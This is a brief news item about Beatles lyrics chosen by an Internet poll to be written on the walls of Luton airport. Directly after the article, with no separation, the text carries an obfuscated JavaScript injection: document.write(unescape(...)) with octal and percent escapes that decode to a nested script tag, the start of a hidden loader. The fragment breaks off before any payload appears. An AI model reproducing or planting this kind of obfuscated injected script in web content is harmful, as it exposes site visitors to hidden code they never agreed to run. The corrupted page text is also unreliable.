Words from The Beatles' 'All You Need Is Love', penned by John Lennon, are to be written on the walls of Luton airport. The song title - "All you need is love" - was voted the greatest words of all time in an Internet poll run by Luton First, a body charged with promoting Luton. "All you need is love" proved more popular with the public than lines from the Bible and those uttered by Winston Churchill.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22